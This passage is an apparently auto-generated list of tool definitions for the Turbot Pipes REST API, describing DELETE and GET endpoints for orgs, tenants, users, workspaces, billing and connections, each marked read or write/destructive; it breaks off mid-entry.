turbotpipes_delete_org_by_org_handle_billing_payment_method_by_payment_method_id (write, destructive) — Delete org billing payment method. Deleting default payment method will result in a 403 (forbidden) error. via DELETE /org/{org_handle}/billing/payment_method/{payment_method_id} DELETE /api/v1/turbotpipes/org/{org_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_billing_subscription_by_subscription_id (write, destructive) — Delete org subscription. TODO: prorate, when to delete subscription. Webhook when the Subscription is finally deleted. via DELETE /org/{org_handle}/billing/subscription/{subscription_id} DELETE /api/v1/turbotpipes/org/{org_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_connection_by_connection_handle (write, destructive) — Delete org connection via DELETE /org/{org_handle}/connection/{connection_handle}. Deletes a connection belonging to an org. DELETE /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_connection_by_connection_handle_permission_by_permission_id (write, destructive) — Delete org connection permission via DELETE /org/{org_handle}/connection/{connection_handle}/permission/{permission_id}. Delete permission for a connection defined on an org. DELETE /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}/permission/{permission_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_connection_folder_by_folder_id (write, destructive) — Delete org connection folder via DELETE /org/{org_handle}/connection_folder/{folder_id}. Deletes an org connection folder. DELETE /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_connection_folder_by_folder_id_permission_by_permission_id (write, destructive) — Delete org connection folder permission via DELETE /org/{org_handle}/connection_folder/{folder_id}/permission/{permission_id}. Delete permission for a connection folder defined on an org. DELETE /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}/permission/{permission_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_integration_by_integration_handle (write, destructive) — Delete org integration via DELETE /org/{org_handle}/integration/{integration_handle}. Delete an integration configured for an organization. DELETE /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_member_by_user_handle (write, destructive) — Delete org member via DELETE /org/{org_handle}/member/{user_handle}. Delete the user from the org. DELETE /api/v1/turbotpipes/org/{org_handle}/member/{user_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_member_invite (write, destructive) — Delete org member invite via DELETE /org/{org_handle}/member/invite. Delete the org member invite. DELETE /api/v1/turbotpipes/org/{org_handle}/member/invite. Scopes: api. turbotpipes_delete_org_by_org_handle_notifier_by_notifier_name (write, destructive) — Delete org notifier via DELETE /org/{org_handle}/notifier/{notifier_name}. Delete a notifier for an org DELETE /api/v1/turbotpipes/org/{org_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_delete_org_by_org_handle_service_account_by_service_account_identifier (write, destructive) — Delete an organization service account via DELETE /org/{org_handle}/service_account/{service_account_identifier}. Delete an existing service account at the organization level. DELETE /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}. Scopes: api. turbotpipes_delete_org_by_org_handle_service_account_by_service_account_identifier_token_by_token_id (write, destructive) — Delete an organization service account token via DELETE /org/{org_handle}/service_account/{service_account_identifier}/token/{token_id}. Delete a token for an organization-level service account. DELETE /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}/token/{token_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle (write, destructive) — Delete org workspace via DELETE /org/{org_handle}/workspace/{workspace_handle}. Deletes the workspace specified in the request. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle (write, destructive) — Delete an aggregator for a org workspace via DELETE /org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Deletes an aggregator belonging to a workspace of an org. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id (write, destructive) — Delete org workspace conversation via DELETE /org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Deletes a specific org workspace conversation. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_conn_by_conn_handle (write, destructive) — Delete org workspace connection association via DELETE /org/{org_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Dissociates or delete the workspace and connection association. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_connection_by_connection_handle (write, destructive) — Delete org workspace connection association via DELETE /org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Dissociates or delete the workspace and connection association. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_connection_folder_by_folder_id (write, destructive) — Delete org workspace connection folder via DELETE /org/{org_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Deletes a connection folder defined at an org workspace. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle (write, destructive) — Delete org workspace Datatank via DELETE /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Deletes the org workspace Datatank. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name (write, destructive) — Delete org workspace Datatank table via DELETE /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Deletes the org workspace Datatank table. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias (write, destructive) — Uninstall flowpipe mod from organization workspace. via DELETE /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias} DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable_by_variable_name (write, destructive) — Delete setting for a flowpipe mod variable in an organization workspace via DELETE /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name} DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name (write, destructive) — Delete org workspace pipeline via DELETE /org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Deletes the pipeline specified in the request for a workspace of an organization. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_member_by_user_handle (write, destructive) — Delete Org Workspace Member via DELETE /org/{org_handle}/workspace/{workspace_handle}/member/{user_handle}. Remove a member from a workspace of an organization. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/member/{user_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias (write, destructive) — Uninstall mod from organization workspace. via DELETE /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias} DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable_by_variable_name (write, destructive) — Delete setting for a mod variable in an organization workspace via DELETE /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name} DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_notifier_by_notifier_name (write, destructive) — Delete org workspace notifier via DELETE /org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Delete a notifier for an org workspace DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id (write, destructive) — Delete org workspace pipeline via DELETE /org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Deletes the pipeline specified in the request for a workspace of an organization. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_schema_by_schema_name (write, destructive) — Detach a schema from an org workspace via DELETE /org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}. Detach an identity-level connection schema from an org workspace. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/schema/{schema_name}. Scopes: api. turbotpipes_delete_org_by_org_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id (write, destructive) — Delete org workspace snapshot via DELETE /org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Deletes an org workspace snapshot. DELETE /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Scopes: api. turbotpipes_delete_service_account_by_service_account_identifier (write, destructive) — Delete a tenant service account via DELETE /service_account/{service_account_identifier}. Delete an existing service account at the tenant level. DELETE /api/v1/turbotpipes/service_account/{service_account_identifier}. Scopes: api. turbotpipes_delete_service_account_by_service_account_identifier_token_by_token_id (write, destructive) — Delete a tenant service account token via DELETE /service_account/{service_account_identifier}/token/{token_id}. Delete a token for a tenant-level service account. DELETE /api/v1/turbotpipes/service_account/{service_account_identifier}/token/{token_id}. Scopes: api. turbotpipes_delete_tenant_by_tenant_handle (write, destructive) — Delete tenant via DELETE /tenant/{tenant_handle}. Deletes the specified tenant. DELETE /api/v1/turbotpipes/tenant/{tenant_handle}. Scopes: api. turbotpipes_delete_tenant_by_tenant_handle_avatar (write, destructive) — Delete tenant avatar via DELETE /tenant/{tenant_handle}/avatar. Delete custom avatar for a tenant. DELETE /api/v1/turbotpipes/tenant/{tenant_handle}/avatar. Scopes: api. turbotpipes_delete_tenant_by_tenant_handle_billing_payment_method_by_payment_method_id (write, destructive) — Delete tenant billing payment method. Deleting default payment method will result in a 403 (forbidden) error. via DELETE /tenant/{tenant_handle}/billing/payment_method/{payment_method_id} DELETE /api/v1/turbotpipes/tenant/{tenant_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_delete_tenant_by_tenant_handle_billing_subscription_by_subscription_id (write, destructive) — Delete tenant subscription. via DELETE /tenant/{tenant_handle}/billing/subscription/{subscription_id} DELETE /api/v1/turbotpipes/tenant/{tenant_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_delete_tenant_by_tenant_handle_member_by_user_handle (write, destructive) — Delete tenant member via DELETE /tenant/{tenant_handle}/member/{user_handle}. Delete the user from the tenant. DELETE /api/v1/turbotpipes/tenant/{tenant_handle}/member/{user_handle}. Scopes: api. turbotpipes_delete_tenant_by_tenant_handle_member_invite (write, destructive) — Delete tenant member invite via DELETE /tenant/{tenant_handle}/member/invite. Delete the tenant member invite. DELETE /api/v1/turbotpipes/tenant/{tenant_handle}/member/invite. Scopes: api. turbotpipes_delete_user_by_user_handle (write, destructive) — Delete user via DELETE /user/{user_handle}. Deletes the specified user. DELETE /api/v1/turbotpipes/user/{user_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_ai_key_by_provider (write, destructive) — Delete user AI key via DELETE /user/{user_handle}/ai/key/{provider}. Deletes an existing AI provider API key at the user level. DELETE /api/v1/turbotpipes/user/{user_handle}/ai/key/{provider}. Scopes: api. turbotpipes_delete_user_by_user_handle_avatar (write, destructive) — Delete user avatar via DELETE /user/{user_handle}/avatar. Delete custom avatar for a user. DELETE /api/v1/turbotpipes/user/{user_handle}/avatar. Scopes: api. turbotpipes_delete_user_by_user_handle_billing_payment_method_by_payment_method_id (write, destructive) — Delete user billing payment method. Deleting default payment method will result in a 403 (forbidden) error. via DELETE /user/{user_handle}/billing/payment_method/{payment_method_id} DELETE /api/v1/turbotpipes/user/{user_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_delete_user_by_user_handle_billing_subscription_by_subscription_id (write, destructive) — Delete user subscription. TODO: prorate, when to delete subscription. Webhook when the Subscription is finally deleted. via DELETE /user/{user_handle}/billing/subscription/{subscription_id} DELETE /api/v1/turbotpipes/user/{user_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_delete_user_by_user_handle_connection_by_connection_handle (write, destructive) — Delete user connection via DELETE /user/{user_handle}/connection/{connection_handle}. Deletes a connection belonging to a user. DELETE /api/v1/turbotpipes/user/{user_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_integration_by_integration_handle (write, destructive) — Delete user integration via DELETE /user/{user_handle}/integration/{integration_handle}. Delete an integration configured for a user. DELETE /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_notifier_by_notifier_name (write, destructive) — Delete user notifier via DELETE /user/{user_handle}/notifier/{notifier_name}. Delete a notifier for a user DELETE /api/v1/turbotpipes/user/{user_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_delete_user_by_user_handle_token_by_token_id (write, destructive) — Delete token via DELETE /user/{user_handle}/token/{token_id}. Deletes the token associated with the specified user. DELETE /api/v1/turbotpipes/user/{user_handle}/token/{token_id}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle (write, destructive) — Delete user workspace via DELETE /user/{user_handle}/workspace/{workspace_handle}. Deletes the workspace specified in the request by the user. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle (write, destructive) — Delete an aggregator for a user workspace via DELETE /user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Deletes an aggregator belonging to a workspace of a user. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id (write, destructive) — Delete user workspace conversation via DELETE /user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Deletes a specific user workspace conversation. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_conn_by_conn_handle (write, destructive) — Delete user workspace connection association via DELETE /user/{user_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Dissociates or delete the workspace and connection association. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/conn/{conn_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_connection_by_connection_handle (write, destructive) — Delete user workspace connection via DELETE /user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Dissociates or delete the workspace and connection association. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_connection_folder_by_folder_id (write, destructive) — Delete user workspace connection folder via DELETE /user/{user_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Deletes a connection folder defined at a user workspace. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle (write, destructive) — Delete user workspace Datatank table via DELETE /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Deletes the user workspace Datatank table. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name (write, destructive) — Delete user workspace Datatank table via DELETE /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Deletes the user workspace Datatank table. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias (write, destructive) — Uninstall flowpipe mod from a user's workspace. via DELETE /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias} DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable_by_variable_name (write, destructive) — Delete setting for a flowpipe mod variable in a user workspace via DELETE /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name} DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name (write, destructive) — Delete user workspace pipeline via DELETE /user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Deletes the pipeline specified in the request for a workspace of a user. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias (write, destructive) — Uninstall mod from a user's workspace. via DELETE /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias} DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable_by_variable_name (write, destructive) — Delete setting for a mod variable in a user workspace via DELETE /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name} DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_notifier_by_notifier_name (write, destructive) — Delete user workspace notifier via DELETE /user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Delete a notifier for a user workspace DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id (write, destructive) — Delete user workspace pipeline via DELETE /user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Deletes the pipeline specified in the request for a workspace of a user. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_schema_by_schema_name (write, destructive) — Detach a schema from a user workspace via DELETE /user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}. Detach an identity-level connection schema from a user workspace. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}. Scopes: api. turbotpipes_delete_user_by_user_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id (write, destructive) — Delete user workspace snapshot via DELETE /user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Deletes a user workspace snapshot. DELETE /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Scopes: api. turbotpipes_get_actor (read) — Actor information via GET /actor. Returns the actor information. GET /api/v1/turbotpipes/actor. Scopes: api. turbotpipes_get_actor_activity (read) — List actor activity via GET /actor/activity. List the activity for an actor. GET /api/v1/turbotpipes/actor/activity. Scopes: api. turbotpipes_get_actor_conn (read) — List actor connections via GET /actor/conn. List the connections for an actor. GET /api/v1/turbotpipes/actor/conn. Scopes: api. turbotpipes_get_actor_org (read) — List actor orgs via GET /actor/org. List the orgs and org workspaces for an actor, along with role within each. GET /api/v1/turbotpipes/actor/org. Scopes: api. turbotpipes_get_actor_org_invite (read) — List org invites for actor via GET /actor/org/invite. List the orgs to which the actor has been invited. GET /api/v1/turbotpipes/actor/org/invite. Scopes: api. turbotpipes_get_actor_workspace (read) — List actor workspaces via GET /actor/workspace. List the workspaces for an actor. GET /api/v1/turbotpipes/actor/workspace. Scopes: api. turbotpipes_get_ai_key (read) — List tenant AI keys via GET /ai/key. Lists AI provider API keys configured at the tenant level. GET /api/v1/turbotpipes/ai/key. Scopes: api. turbotpipes_get_ai_key_by_provider (read) — Get tenant AI key via GET /ai/key/{provider}. Retrieves the AI provider API key metadata at the tenant level. GET /api/v1/turbotpipes/ai/key/{provider}. Scopes: api. turbotpipes_get_audit_log (read) — Tenant audit logs via GET /audit_log. Returns the audit logs for a custom tenant. GET /api/v1/turbotpipes/audit_log. Scopes: api. turbotpipes_get_auth_by_provider (read) — Auth Provider via GET /auth/{provider}. With an authentication provider, users can access Turbot Pipes with single sign-on (SSO) using credentials from a third party. Turbot Pipes currently supports GitHub and Google as an authentication provider. GET /api/v1/turbotpipes/auth/{provider}. Scopes: api. turbotpipes_get_auth_by_provider_callback (read) — Auth provider callback. via GET /auth/{provider}/callback GET /api/v1/turbotpipes/auth/{provider}/callback. Scopes: api. turbotpipes_get_connection (read) — List tenant connections via GET /connection. List connections for a tenant. GET /api/v1/turbotpipes/connection. Scopes: api. turbotpipes_get_connection_by_connection_handle (read) — Get tenant connection via GET /connection/{connection_handle}. Get connection for a tenant. GET /api/v1/turbotpipes/connection/{connection_handle}. Scopes: api. turbotpipes_get_connection_by_connection_handle_permission (read) — List tenant connection permissions via GET /connection/{connection_handle}/permission. List permissions for a connection defined on a custom tenant. GET /api/v1/turbotpipes/connection/{connection_handle}/permission. Scopes: api. turbotpipes_get_connection_by_connection_handle_permission_by_permission_id (read) — Get tenant connection permission via GET /connection/{connection_handle}/permission/{permission_id}. Get permission for a connection defined on a custom tenant. GET /api/v1/turbotpipes/connection/{connection_handle}/permission/{permission_id}. Scopes: api. turbotpipes_get_connection_by_connection_handle_workspace (read) — List tenant connection workspaces via GET /connection/{connection_handle}/workspace. List the workspaces that a tenant connection has been added to. GET /api/v1/turbotpipes/connection/{connection_handle}/workspace. Scopes: api. turbotpipes_get_connection_folder (read) — List tenant connection folders via GET /connection_folder. List connection folders for a custom tenant. GET /api/v1/turbotpipes/connection_folder. Scopes: api. turbotpipes_get_connection_folder_by_folder_id (read) — Get tenant connection folder via GET /connection_folder/{folder_id}. Get connection folder for a custom tenant. GET /api/v1/turbotpipes/connection_folder/{folder_id}. Scopes: api. turbotpipes_get_connection_folder_by_folder_id_permission (read) — List tenant connection folder permissions via GET /connection_folder/{folder_id}/permission. List permissions for a connection folder defined on a custom tenant. GET /api/v1/turbotpipes/connection_folder/{folder_id}/permission. Scopes: api. turbotpipes_get_connection_folder_by_folder_id_permission_by_permission_id (read) — Get tenant connection folder permission via GET /connection_folder/{folder_id}/permission/{permission_id}. Get permission for a connection folder defined on a custom tenant. GET /api/v1/turbotpipes/connection_folder/{folder_id}/permission/{permission_id}. Scopes: api. turbotpipes_get_connection_folder_by_folder_id_workspace (read) — List tenant connection folder workspaces via GET /connection_folder/{folder_id}/workspace. List the workspaces that a tenant connection folder has been added to. GET /api/v1/turbotpipes/connection_folder/{folder_id}/workspace. Scopes: api. turbotpipes_get_connection_tree (read) — List tenant connection tree via GET /connection_tree. List connection tree for a tenant. GET /api/v1/turbotpipes/connection_tree. Scopes: api. turbotpipes_get_identity (read) — List identities with their public information. via GET /identity GET /api/v1/turbotpipes/identity. Scopes: api. turbotpipes_get_identity_by_identity_handle (read) — Get identity via GET /identity/{identity_handle}. Get public information for an identity. GET /api/v1/turbotpipes/identity/{identity_handle}. Scopes: api. turbotpipes_get_identity_by_identity_handle_avatar (read) — Get identity avatar via GET /identity/{identity_handle}/avatar. Get public avatar for an identity. GET /api/v1/turbotpipes/identity/{identity_handle}/avatar. Scopes: api. turbotpipes_get_integration (read) — List tenant integrations via GET /integration. List integrations configured on a custom tenant. GET /api/v1/turbotpipes/integration. Scopes: api. turbotpipes_get_integration_by_integration_handle (read) — Get tenant integration via GET /integration/{integration_handle}. Get details of an integration configured on a custom tenant. GET /api/v1/turbotpipes/integration/{integration_handle}. Scopes: api. turbotpipes_get_integration_by_integration_handle_github_install (read) — Install GitHub integration on a custom tenant via GET /integration/{integration_handle}/github/install. Install a GitHub integration on a custom tenant. GET /api/v1/turbotpipes/integration/{integration_handle}/github/install. Scopes: api. turbotpipes_get_integration_by_integration_handle_slack_channel (read) — List tenant integration Slack channels via GET /integration/{integration_handle}/slack/channel. List Slack channels that are given access to a tenant Slack integration. GET /api/v1/turbotpipes/integration/{integration_handle}/slack/channel. Scopes: api. turbotpipes_get_integration_by_integration_handle_slack_install (read) — Install Slack integration on a custom tenant via GET /integration/{integration_handle}/slack/install. Install a Slack integration on a custom tenant. GET /api/v1/turbotpipes/integration/{integration_handle}/slack/install. Scopes: api. turbotpipes_get_log_archive (read) — List tenant log archives via GET /log_archive. List log archives for the tenant GET /api/v1/turbotpipes/log_archive. Scopes: api. turbotpipes_get_log_archive_by_log_archive_identifier (read) — Get tenant log archive via GET /log_archive/{log_archive_identifier}. Get a log archive for the tenant GET /api/v1/turbotpipes/log_archive/{log_archive_identifier}. Scopes: api. turbotpipes_get_log_archive_by_log_archive_identifier_download (read) — Download a tenant log archive via GET /log_archive/{log_archive_identifier}/download. Download a log archive for the tenant GET /api/v1/turbotpipes/log_archive/{log_archive_identifier}/download. Scopes: api. turbotpipes_get_login_confirm (read) — Confirm user login. via GET /login/confirm GET /api/v1/turbotpipes/login/confirm. Scopes: api. turbotpipes_get_login_token_by_temporary_token_request_id (read) — Get temporary token request via GET /login/token/{temporary_token_request_id}. Get a temporary token request status with token. GET /api/v1/turbotpipes/login/token/{temporary_token_request_id}. Scopes: api. turbotpipes_get_logout_by_provider (read) — User logout via GET /logout/{provider}. Removes the session that is associated with the user. GET /api/v1/turbotpipes/logout/{provider}. Scopes: api. turbotpipes_get_notifier (read) — List tenant notifiers via GET /notifier. List all notifiers for a custom tenant GET /api/v1/turbotpipes/notifier. Scopes: api. turbotpipes_get_notifier_by_notifier_name (read) — Get tenant notifier via GET /notifier/{notifier_name}. Get a notifier for a custom tenant GET /api/v1/turbotpipes/notifier/{notifier_name}. Scopes: api. turbotpipes_get_org (read) — List orgs via GET /org. List all the organizations. GET /api/v1/turbotpipes/org. Scopes: api. turbotpipes_get_org_by_org_handle (read) — Get org via GET /org/{org_handle}. Retrieves the organization information. GET /api/v1/turbotpipes/org/{org_handle}. Scopes: api. turbotpipes_get_org_by_org_handle_ai_key (read) — List org AI keys via GET /org/{org_handle}/ai/key. Lists AI provider API keys configured at the organization level. GET /api/v1/turbotpipes/org/{org_handle}/ai/key. Scopes: api. turbotpipes_get_org_by_org_handle_ai_key_by_provider (read) — Get org AI key via GET /org/{org_handle}/ai/key/{provider}. Retrieves the AI provider API key metadata at the organization level. GET /api/v1/turbotpipes/org/{org_handle}/ai/key/{provider}. Scopes: api. turbotpipes_get_org_by_org_handle_audit_log (read) — Org audit logs via GET /org/{org_handle}/audit_log. Returns the audit logs for an org. GET /api/v1/turbotpipes/org/{org_handle}/audit_log. Scopes: api. turbotpipes_get_org_by_org_handle_billing_invoice (read) — List org invoices. TODO: paging, Stripe suports this we need to to implement it. via GET /org/{org_handle}/billing/invoice GET /api/v1/turbotpipes/org/{org_handle}/billing/invoice. Scopes: api. turbotpipes_get_org_by_org_handle_billing_invoice_by_invoice_id (read) — Get an organization invoice via GET /org/{org_handle}/billing/invoice/{invoice_id}. Get an invoice for an organization. GET /api/v1/turbotpipes/org/{org_handle}/billing/invoice/{invoice_id}. Scopes: api. turbotpipes_get_org_by_org_handle_billing_payment_method (read) — List org billing payment methods. via GET /org/{org_handle}/billing/payment_method GET /api/v1/turbotpipes/org/{org_handle}/billing/payment_method. Scopes: api. turbotpipes_get_org_by_org_handle_billing_payment_method_by_payment_method_id (read) — Get org billing payment method. via GET /org/{org_handle}/billing/payment_method/{payment_method_id}. List org billing payment method. GET /api/v1/turbotpipes/org/{org_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_get_org_by_org_handle_billing_plan (read) — Get org billing plan. via GET /org/{org_handle}/billing/plan. Get the current organization billing plan. GET /api/v1/turbotpipes/org/{org_handle}/billing/plan. Scopes: api. turbotpipes_get_org_by_org_handle_billing_stripe_invoice_upcoming (read) — Get upcoming invoice. Can be used to let subscriber know the estimated amount for next invoice. via GET /org/{org_handle}/billing/stripe/invoice/upcoming GET /api/v1/turbotpipes/org/{org_handle}/billing/stripe/invoice/upcoming. Scopes: api. turbotpipes_get_org_by_org_handle_billing_subscription (read) — List org subscriptions. TODO: org should only have 1 active subscriptions, but what if we change subscriptions (is it possible?). Should we display old subscriptions? via GET /org/{org_handle}/billing/subscription GET 